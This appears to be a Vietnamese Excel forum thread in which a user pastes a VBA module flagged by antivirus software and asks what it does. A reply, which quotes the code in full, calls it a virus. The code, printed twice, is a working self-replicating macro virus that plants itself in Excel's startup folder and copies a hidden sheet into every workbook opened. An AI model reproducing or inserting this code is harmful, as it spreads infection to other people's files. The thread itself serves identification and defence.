File Excel báo virus.

  • Thread starter Thread starter cantl
  • Ngày gửi Ngày gửi
Liên hệ QC

cantl

!!! Giải thoát !!!
Thành viên bị đình chỉ hoạt động
Tham gia
6/8/08
Bài viết
1,816
Được thích
1,162
Giới tính
Nam
Chào các bác,
Các bác cho em hỏi code này nếu cho enable addin khi mở thì nó có ảnh hưởng gì không ạ? Em chưa dịch code này sang tiếng Việt được.
Hiện tại thì Win defender báo virus và virustotal cũng bắt chước theo.

Code này nằm trong module SGV của file gửi kèm.
Mã:
Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub
 
Sub check_files()
    C$ = Application.StartupPath
    m$ = Dir(C$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then W = 1 Else W = 0
    whichfile = p + W * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(N4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(N4$).Sheets(1).Name
    If s$ <> "SGV" Then
           
      Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(N4$).Sheets(1)
        Workbooks(N4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub
 

File đính kèm

  • KL sua chua.xls
    KL sua chua.xls
    147 KB · Đọc: 10
  • 1678073413142.png
    1678073413142.png
    189.5 KB · Đọc: 6
Chào các bác,
Các bác cho em hỏi code này nếu cho enable addin khi mở thì nó có ảnh hưởng gì không ạ? Em chưa dịch code này sang tiếng Việt được.
Hiện tại thì Win defender báo virus và virustotal cũng bắt chước theo.

Code này nằm trong module SGV của file gửi kèm.
Mã:
Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub
 
Sub check_files()
    C$ = Application.StartupPath
    m$ = Dir(C$ & "\" & "SGV.XLS")
    If m$ = "SGV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then W = 1 Else W = 0
    whichfile = p + W * 10
  
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    Sheets("SGV").Visible = True
    Sheets("SGV").Select
    Sheets("SGV").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(N4$).Sheets("SGV").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    N4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(N4$).Sheets(1).Name
    If s$ <> "SGV" Then
          
      Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(N4$).Sheets(1)
        Workbooks(N4$).Sheets("SGV").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "SGV.XLS!check_files"
    Case Else
End Select
End Sub
Virus, cho nó ra đảo ngay và luôn :D
 
Web KT

Bài viết mới nhất

Back
Top Bottom